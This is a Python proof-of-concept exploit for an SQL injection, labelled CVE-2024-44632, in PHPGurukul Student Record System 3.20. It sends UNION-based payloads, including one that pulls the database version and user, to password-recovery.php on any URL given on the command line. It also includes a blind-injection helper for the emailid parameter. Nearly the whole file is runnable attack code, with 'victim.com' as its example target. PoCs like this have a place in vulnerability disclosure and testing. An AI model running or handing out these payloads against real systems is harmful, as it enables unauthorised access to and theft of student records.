import requests
import sys
# CVE-2024-44632 SQL Injection PoC
# Target: PHPGurukul Student Record System 3.20
# Location: password-recovery.php (id and emailid parameters)
def exploit_sqli(target_url):
"""
SQL Injection exploitation using UNION-based technique
"""
# Payload for UNION-based SQL injection on id parameter
union_payload = "1' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100 -- -"
# Payload for extracting database version and user
info_payload = "1' UNION SELECT 1,@@version,user(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100 -- -"
# Construct target URL
target = f"{target_url}/password-recovery.php"
print(f"[*] Target: {target}")
print(f"[*] Exploiting SQL Injection on 'id' parameter...")
# Send malicious request
params = {'id': union_payload}
try:
response = requests.get(target, params=params, timeout=10)
print(f"[+] Request sent successfully")
print(f"[*] Status Code: {response.status_code}")
print(f"[*] Response Length: {len(response.text)}")
except requests.exceptions.RequestException as e:
print(f"[-] Error: {e}")
print("\n[*] Exploitation complete. Check response for SQL output.")
if __name__ == "__main__":
if len(sys.argv) < 2:
print(f"Usage: python {sys.argv[0]} <target_url>")
print(f"Example: python {sys.argv[0]} http://victim.com/student-record-system")
sys.exit(1)
exploit_sqli(sys.argv[1])
# Additional blind SQL injection test for emailid parameter
def blind_sqli_test(target_url, email_payload):
"""
Blind SQL injection test for emailid parameter
"""
target = f"{target_url}/password-recovery.php"
params = {'emailid': email_payload}
response = requests.post(target, data=params)
return response